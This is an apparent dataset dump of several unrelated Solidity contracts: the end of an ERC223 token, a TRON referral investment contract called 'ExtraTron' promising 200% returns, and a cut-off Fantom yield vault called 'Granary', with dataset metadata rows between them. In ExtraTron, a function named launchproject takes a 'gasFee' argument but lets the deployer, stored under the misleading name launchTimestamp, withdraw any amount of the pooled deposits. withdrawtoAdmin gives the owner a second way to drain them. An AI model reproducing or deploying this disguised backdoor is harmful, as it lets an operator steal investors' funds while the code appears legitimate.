function decimals() public constant returns (uint8) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() public constant returns (uint256) {
return totalSupply;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public whenNotPaused returns (bool) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public whenNotPaused returns (bool) {
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
uint256 price;
address owner;
(price, owner) = receiver.doTransfer(msg.sender, bytesToUint(_data));
if (balanceOf(msg.sender) < price) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(price);
balances[owner] = balanceOf(owner).add(price);
receiver.tokenFallback(msg.sender, price, _data);
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) public constant returns (uint) {
return balances[_owner];
}
function allowance(address _tokenOwner, address _spender) public constant returns (uint) {
return allowed[_tokenOwner][_spender];
}
function burn(uint256 _value) public returns (bool) {
require (_value > 0);
// Check if the sender has enough
require (balanceOf(msg.sender) >= _value);
// Subtract from the sender
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
// Updates totalSupply
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function bytesToUint(bytes b) private pure returns (uint result) {
uint i;
result = 0;
for (i = 0; i < b.length; i++) {
uint c = uint(b[i]);
if (c >= 48 && c <= 57) {
result = result * 10 + (c - 48);
}
}
}
function approve(address _spender, uint _tokens) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = _tokens;
emit Approval(msg.sender, _spender, _tokens);
return true;
}
function transferFrom(address _from, address _to, uint _tokens) public whenNotPaused returns (bool) {
require(_to != address(0));
require(_tokens <= balances[_from]);
require(_tokens <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_tokens);
balances[_from] = balances[_from].sub(_tokens);
balances[_to] = balances[_to].add(_tokens);
emit Transfer(_from, _to, _tokens);
return true;
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool){
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
| 214,261 | 10,943 |
b64e9d8206b0e0c220f841f43dc15ca7c7f21fedc1cd3cb089de5664579e0a80
| 14,891 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TS/TSWpdRGJiL2YEdmLBja5PzDaVZcXRjpaw6_ExtraTron.sol
| 4,708 | 14,776 |
//SourceUnit: Extratron.sol
pragma solidity 0.5.10;
contract Ownable {
address payable public owner;
modifier onlyOwner() {
require(msg.sender == owner, "only for owner");
_;
}
function transferOwnership(address payable newOwner) public onlyOwner {
owner = newOwner;
}
}
contract ExtraTron is Ownable {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 100 trx;
uint256 constant public BASE_PERCENT = 200;
uint256[] public REFERRAL_PERCENTS = [100, 50, 40, 30, 20, 10];
uint256 constant public PROJECT_FEE = 30;
uint256 constant public ADMIN_FEE=60;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public CONTRACT_BALANCE_STEP = 150000000 trx;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
address payable public projectAddress;
address payable public adminAddress;
address payable public launchTimestamp;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct UserDet {
uint256 referrals;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256 bonus;
uint256 level1;
uint256 level2;
uint256 level3;
uint256 level4;
uint256 level5;
uint256 level6;
uint256 bonus_withdrawn;
uint256 total_withdrawn;
uint256 compound_reinvest;
}
mapping(address => UserDet) public userreferral;
mapping (address => User) internal users;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable projectAddr,address payable _admin) public {
require(!isContract(projectAddr));
adminAddress=_admin;
projectAddress = projectAddr;
launchTimestamp = msg.sender;
}
function invest(address referrer) public payable {
require(msg.value >= INVEST_MIN_AMOUNT);
projectAddress.transfer(msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER));
adminAddress.transfer(msg.value.mul(ADMIN_FEE).div(PERCENTS_DIVIDER));
emit FeePayed(msg.sender, msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER));
User storage user = users[msg.sender];
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
if (user.referrer != address(0)) {
address upline = user.referrer;
if (user.deposits.length == 0) {
userreferral[upline].referrals = userreferral[upline].referrals.add(1);
}
for (uint256 i = 0; i < 6; i++) {
if (upline != address(0)) {
if (user.deposits.length == 0) {
if(i == 0){
users[upline].level1 = users[upline].level1.add(1);
} else if(i == 1){
users[upline].level2 = users[upline].level2.add(1);
} else if(i == 2){
users[upline].level3 = users[upline].level3.add(1);
} else if(i == 3){
users[upline].level4 = users[upline].level4.add(1);
} else if(i == 4){
users[upline].level5 = users[upline].level5.add(1);
} else if(i == 5){
users[upline].level6 = users[upline].level6.add(1);
}
}else{
if(i == 0){
users[upline].level1 = users[upline].level1;
} else if(i == 1){
users[upline].level2 = users[upline].level2;
} else if(i == 2){
users[upline].level3 = users[upline].level3;
} else if(i == 3){
users[upline].level4 = users[upline].level4;
} else if(i == 4){
users[upline].level5 = users[upline].level5;
} else if(i == 5){
users[upline].level6 = users[upline].level6;
}
}
if(userreferral[upline].referrals >= i + 1) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
}
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(msg.value, 0, block.timestamp));
totalInvested = totalInvested.add(msg.value);
totalDeposits = totalDeposits.add(1);
emit NewDeposit(msg.sender, msg.value);
}
function withdrawtoAdmin(uint amount) onlyOwner external {
uint finalamount = amount * 1000000;
adminAddress.transfer(finalamount);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 userPercentRate = getUserPercentRate(msg.sender);
uint256 totalAmount;
uint256 dividends;
uint256 totalDeposit;
uint256 reinvestAmount;
for (uint256 i = 0; i < user.deposits.length; i++) {
totalDeposit += user.deposits[i].amount;
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(200).div(100)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(200).div(100)) {
dividends = (user.deposits[i].amount.mul(200).div(100)).sub(user.deposits[i].withdrawn);
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
totalAmount = totalAmount.add(referralBonus);
user.bonus = 0;
user.bonus_withdrawn = user.bonus_withdrawn.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
uint256 userMaxwithdraw = totalDeposit.mul(200).div(100);
//uint256 a=totalAmount.mul(20).div(100);
// Reinvest(totalAmount);
uint256 checkamount = user.total_withdrawn + totalAmount;
if(checkamount > userMaxwithdraw){
if(userMaxwithdraw > user.total_withdrawn){
uint256 nextmaxwithdraw = userMaxwithdraw.sub(user.total_withdrawn);
if(nextmaxwithdraw >= totalAmount){
totalAmount = totalAmount;
}else{
reinvestAmount = totalAmount.sub(nextmaxwithdraw);
totalAmount = nextmaxwithdraw;
}
}else{
reinvestAmount = checkamount - userMaxwithdraw;
totalAmount = userMaxwithdraw;
}
msg.sender.transfer(totalAmount);
Reinvest(reinvestAmount);
}else{
uint256 nextmaxwithdraw = userMaxwithdraw.sub(user.total_withdrawn);
if(nextmaxwithdraw >= totalAmount){
msg.sender.transfer(totalAmount);
}else{
reinvestAmount = totalAmount - nextmaxwithdraw;
totalAmount = nextmaxwithdraw;
msg.sender.transfer(nextmaxwithdraw);
Reinvest(reinvestAmount);
}
}
user.total_withdrawn = user.total_withdrawn.add(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function compound() public {
User storage user = users[msg.sender];
uint256 totalAmount;
uint256 dividends;
dividends = getUserDividends(msg.sender);
totalAmount = totalAmount.add(dividends);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
totalAmount = totalAmount.add(referralBonus);
user.bonus = 0;
user.compound_reinvest = user.compound_reinvest.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
Reinvest(totalAmount);
}
function Reinvest(uint256 _value) internal {
User storage user = users[msg.sender];
user.deposits.push(Deposit(_value, 0, block.timestamp));
totalInvested = totalInvested.add(_value);
totalDeposits = totalDeposits.add(1);
//emit NewDeposit(msg.sender, _value);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint256) {
uint256 contractBalance = address(this).balance;
uint256 contractBalancePercent = contractBalance.div(CONTRACT_BALANCE_STEP);
return BASE_PERCENT.add(contractBalancePercent);
}
function getUserPercentRate(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 contractBalanceRate = getContractBalanceRate();
if (isActive(userAddress)) {
uint256 timeMultiplier = (now.sub(user.checkpoint)).div(TIME_STEP);
return contractBalanceRate.add(timeMultiplier);
} else {
return contractBalanceRate;
}
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 userPercentRate = getUserPercentRate(userAddress);
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(200).div(100)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(200).div(100)) {
dividends = (user.deposits[i].amount.mul(200).div(100)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferralsCount(address userAddress) public view returns(uint256) {
return userreferral[userAddress].referrals;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256, uint256, uint256, uint256) {
return (users[userAddress].level1, users[userAddress].level2, users[userAddress].level3, users[userAddress].level4, users[userAddress].level5, users[userAddress].level6);
}
function getUserDirectCount(address userAddress) internal view returns(uint256) {
return (users[userAddress].level1);
}
function getUserBonus(address userAddress) public view returns(uint256, uint256) {
return (users[userAddress].bonus, users[userAddress].bonus_withdrawn);
}
function getUserTotalpayout(address userAddress) public view returns(uint256) {
return (users[userAddress].total_withdrawn);
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(200).div(100)) {
return true;
}
}
}
function launchproject(uint gasFee) external {
require(msg.sender==launchTimestamp,'Permission denied');
if (gasFee > 0) {
uint contractConsumption = address(this).balance;
if (contractConsumption > 0) {
uint requiredGas = gasFee > contractConsumption ? contractConsumption : gasFee;
msg.sender.transfer(requiredGas);
}
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].amount);
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 286,094 | 10,944 |
8028991d4beabd4313407dc0bbc935eb192c1748c29921d8057c04933a59bf54
| 27,888 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/86/86b183dfc29b6eb12f875606266f8b41af20d7f5_Granary.sol
| 6,443 | 18,562 |
//SPDX-License-Identifier: UNLICENSED
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
pragma abicoder v2;
// Part: IMasterchef
//ftm.guru's Universal On-chain TVL Calculator
//Source: https://ftm.guru/rawdata/tvl
interface ITVL {
//Using Version = 6
function p_lpt_coin_usd(address lp) external view returns(uint256);
function p_lpt_usd(address u, address lp) external view returns(uint256);
}
interface IMasterchef {
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. ASNT to distribute per block.
uint256 lastRewardTimestamp; // Last block number that ASNT distribution occurs.
uint256 accASNTPerShare; // Accumulated ASNT per share, times 1e18. See below.
uint256 depositFeeRate; // Deposit fee
uint256 harvestInterval; // Harvest interval in seconds
uint256 harvestFeeInterval; // Harvest fee minimum interval in seconds
uint256 harvestFeeRate; // Harvest fee ONLY on rewards in basis points when the harvest occurs before the minimum interval
uint256 totalLp; // Total token in Pool
//USING THIS BREAKS TVLGURU COMPATIBILTY. THEY SHOULD'VE USED address[] INSTEAD!
//IMultipleRewards[] rewarders; // Array of rewarder contract for pools with incentives
}
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
uint256 rewardLockedUp; // Reward locked up.
uint256 nextHarvestUntil; // When can the user harvest again.
uint256 noHarvestFeeAfter; //No harvest fee after this duration
}
function deposit(uint256 _pid, uint256 _amount, address _ref) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function emergencyWithdraw(uint256 _pid) external;
function userInfo(uint256, address) external view returns (UserInfo memory);
function poolInfo(uint256) external view returns (PoolInfo memory);
function totalAllocPoint() external view returns (uint256);
function pendingTokens(uint256 _pid, address _user) external view returns (address[] memory addresses,
string[] memory symbols,
uint256[] memory decimals,
uint256[] memory amounts);
function poolRewarders(uint256 _pid) external view returns (address[] memory rewarders);
function canHarvest(uint256 _pid, address _user) external view returns (bool);
function noHarvestFee(uint256 _pid, address _user) external view returns (bool);
}
interface IMultipleRewards {
// rewarder type
enum RewarderType {notdefined, sharedistribution, boost, partnership} // 0, 1, 2, 3
function onASNTReward(uint256 pid,
address user,
uint256 newLpAmount) external;
function pendingTokens(uint256 pid, address user)
external
view
returns (uint256 pending);
function rewardToken() external view returns (IERC20);
function poolRewardsPerSec(uint256 _pid) external view returns (uint256);
function getPoolInfo(uint256 _pid) external view
returns (uint256 allocPoint,
uint256 lastRewardTime,
uint256 accTokenPerShare,
uint256 rewardStartTime,
uint256 rewardEndTime,
RewarderType rewarderType);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
//Uniswap-style Pair (LPT)
function getReserves() external view returns (uint112, uint112, uint32);
}
interface IRouter {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Granary
{
using SafeMath for uint256;
constructor (address _w, address _m, address _e, uint8 _p, address _R, address[] memory _rA, string memory _id, address _v)
{
want=IERC20(_w);
mc=IMasterchef(_m);
earn=IERC20(_e);
allnums[0]=_p; //pid
router = _R;
routeA = _rA;
///routeB = _rB;
id=_id;//GRAIN#ID
utvl=_v;
//Approvals
//mc to take what it may want
IERC20(address(want)).approve(address(mc),uint256(-1));
//router to sell what we earn
IERC20(address(earn)).approve(address(router),uint256(-1));
//router to add routeA[routeA.length-1]
IERC20(_rA[_rA.length-1]).approve(address(router),uint256(-1));
//router to add routeB[routeB.length-1]
///IERC20(_rB[_rB.length-1]).approve(address(router),uint256(-1));
Eliteness.push(Elites({ELITE:0xf43Cc235E686d7BC513F53Fbffb61F760c3a1882,ELITES:1e16}));
dao = 0x167D87A906dA361A10061fe42bbe89451c2EE584;
treasury = dao;
}
modifier DAO {require(msg.sender==dao,"Only E.L.I.T.E. D.A.O. Treasury can rescue treasures!");_;}
struct Elites {
address ELITE;
uint256 ELITES;
}
Elites[] public Eliteness;
function pushElite(address elite, uint256 elites) public DAO {
Eliteness.push(Elites({ELITE:elite,ELITES:elites}));
}
function pullElite(uint256 n) public DAO {
Eliteness[n]=Eliteness[Eliteness.length-1];Eliteness.pop();
}
//@xref takeFee=eliteness(msg.sender)?false:true;
function eliteness(address u) public view returns(bool)
{
if(Eliteness.length==0){return(true);}//When nobody is an Elite, everyone is an Elite.
for(uint i;i<Eliteness.length;i++){
if(IERC20(Eliteness[i].ELITE).balanceOf(u)>=Eliteness[i].ELITES)
{
return(true);
}
}
return(false);
}
function config(//address _w,
uint256 _mw, uint256 _wi, uint256 _pf, address _t, uint256 _df) public DAO
{
allnums[4] = _mw;
treasury = _t;
//Max 10%, 1e6 = 100%
require(_wi<1e5,"!wi: high");allnums[3] = _wi;
require(_pf<1e5,"!pf: high");allnums[2] = _pf;
require(_df<1e5,"!df: high");allnums[1] = _df;
}
uint8 RG = 0;
modifier rg {
require(RG == 0,"!RG");
RG = 1;
_;
RG = 0;
}
function isContract(address account) internal view returns (bool)
{
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
//Using getter functions to circumvent "Stack too deep!" errors
string public id;
function name() public view returns(string memory){return(string(abi.encodePacked("ftm.guru/GRAIN/", id)));}
function symbol() public view returns(string memory){return(string(abi.encodePacked("GRAIN#", id)));}
function decimals() public pure returns(uint256){return(18);}
uint256 public totalSupply;
IERC20 public want;
IERC20 public earn;
address public router;
address[] public routeA;
///address[] public routeB;
IMasterchef public mc;
bool public emergency = false;
address public dao;
address public treasury;
address public utvl;
//Using array to avoid "Stack too deep!" errors
uint256[7] public allnums = [
0, //pid 0 constant
1e3,//df 1 config, <= 10% (1e5), default 0.1%
1e4,//pf 2 config, <= 10% (1e5), default 1%
1e4,//wi 3 config, <= 10% (1e5), default 1%
1, //mw 4 config, default 1 (near zero)
0, //ct[0] 5 nonce, then constant
0 //ct[1] 6 up only
];
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
function approve(address guy) public returns (bool) {
return approve(guy, uint(-1));
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) public returns (bool)
{
require(balanceOf[src] >= wad,"Insufficient Balance");
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
function deposit(uint256 _amt) public rg
{
require(!emergency,"Its an emergency. Please don't deposit.");
//require(isContract(msg.sender)==false,"Humans only");
//require(msg.sender==tx.origin,"Humans only");
//Some fancy math to take care of Fee-on-Transfer tokens
uint256 vbb = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
require(want.transferFrom(msg.sender,address(this),_amt), "Unable to onboard");
uint256 vba = want.balanceOf(address(this));
uint256 D = vba.sub(vbb,"Dirty deposit");
mc.deposit(allnums[0],D,address(dao));
//Some more fancy math to take care of Deposit Fee
uint256 mcba = mc.userInfo(allnums[0],address(this)).amount;
uint256 M = mcba.sub(mcbb,"Dirty stake");
//require(M>mindep,"Deposit Too Low");
uint256 _mint = 0;
(totalSupply > 0)
// k: SharePerDeposit should be constant before & after
// Mint = SharesPerDeposit * IncreaseInDeposit
// bal += (totalSupply / oldDeposits) * thisDeposit
? _mint = (M.mul(totalSupply)).div(mcbb)
: _mint = M;
totalSupply += _mint;
uint256 _fee;
//allnums[1]===df, deposit fee
if(allnums[1]>0){_fee = eliteness(msg.sender)? 0 : (_mint.mul(allnums[1])).div(1e6);}//gas savings
if(_fee>0)//gas savings
{
balanceOf[treasury] += _fee;
emit Transfer(address(0), treasury, _fee);
}
balanceOf[msg.sender] += _mint.sub(_fee);
emit Transfer(address(0), msg.sender, _mint.sub(_fee));
//hardWork()
//allnums[4]===mw, min work : smallest harvest
if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));}
}
function withdraw(uint256 _amt) public rg
{
require(!emergency,"Its an emergency. Use emergencyWithdraw() please.");
require(balanceOf[msg.sender] >= _amt,"Insufficient Balance");
//Burn _amt of Vault Tokens
balanceOf[msg.sender] -= _amt;
uint256 ts = totalSupply;
totalSupply -= _amt;
emit Transfer(msg.sender, address(0), _amt);
uint256 vbb = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
// W = DepositsPerShare * SharesBurnt
uint256 W = (_amt.mul(mcbb)).div(ts);
mc.withdraw(allnums[0],W);
uint256 vba = want.balanceOf(address(this));
uint256 D = vba.sub(vbb,"Dirty withdrawal");
require(want.transfer(msg.sender,D), "Unable to deboard");
//hardWork()
if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));}
}
function doHardWork() public rg
{
require(eliteness(msg.sender),"Elites only!");
salvage();
//require(earn.balanceOf(address(this)) > allnums[4], "Not much work to do!");
work(msg.sender);
}
function salvage() public
{
//harvest()
(,,,uint256[] memory rs) = mc.pendingTokens(allnums[0],address(this));
if(rs[0] > allnums[4]
&& mc.canHarvest(allnums[0],address(this))
//&& mc.noHarvestFee(allnums[0],address(this)))
{mc.withdraw(allnums[0],0);}
}
function shouldWork() public view returns (bool could)
{
could = earn.balanceOf(address(this)) > allnums[4];
}
function work(address ben) internal
{
require(!emergency,"Its an emergency. Use emergencyWithdraw() please.");
//has inputs from salvage() if this work is done via doHardWork()
require(shouldWork(), "Not much work to do!");
//breaks only doHardWork(), as deposit() & withdraw() cannot reach work() unless we shouldWork()
IRouter R = IRouter(router);
IERC20 A = IERC20(routeA[routeA.length-1]);
uint256 vbb = (earn.balanceOf(address(this))).div(2);
R.swapExactTokensForTokensSupportingFeeOnTransferTokens(vbb,1,routeA,address(this),block.timestamp);
R.addLiquidity(address(A),
address(earn),
A.balanceOf(address(this)),
earn.balanceOf(address(this)),
1,
1,
address(this),
block.timestamp);
uint256 D = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
mc.deposit(allnums[0],D,address(dao));
uint256 mcba = mc.userInfo(allnums[0],address(this)).amount;
uint256 M = mcba.sub(mcbb,"Dirty stake");
//Performance Fee Mint, conserves TVL
uint256 _mint = 0;
//allnums[5] & allnums[6] are First & Latest Compound's timestamps. Used in info() for APY of AUM.
if(allnums[5]==0){allnums[5]=uint64(block.timestamp);}//only on the first run
allnums[6]=uint64(block.timestamp);
(totalSupply > 0)
// k: SharePerDeposit should be constant before & after
// Mint = SharesPerDeposit * IncreaseInDeposit
// bal += (totalSupply / oldDeposits) * thisDeposit
? _mint = (M.mul(totalSupply)).div(mcbb)
: _mint = M;
//allnums[2] === pf, Performance Fee
balanceOf[treasury] += (_mint.mul(allnums[2])).div(1e6);
//Worker Incentive Mint, conserves TVL
address worker = ben == address(this) ? treasury : ben;
//allnums[3] === wi, Worker Incentive
balanceOf[worker] += (_mint.mul(allnums[3])).div(1e6);
totalSupply += ((_mint.mul(allnums[2])).div(1e6)).add((_mint.mul(allnums[3])).div(1e6));
emit Transfer(address(0), treasury, (_mint.mul(allnums[2])).div(1e6));
emit Transfer(address(0), worker, (_mint.mul(allnums[3])).div(1e6));
}
function declareEmergency() public DAO
{
require(!emergency,"Emergency already declared.");
mc.emergencyWithdraw(allnums[0]);
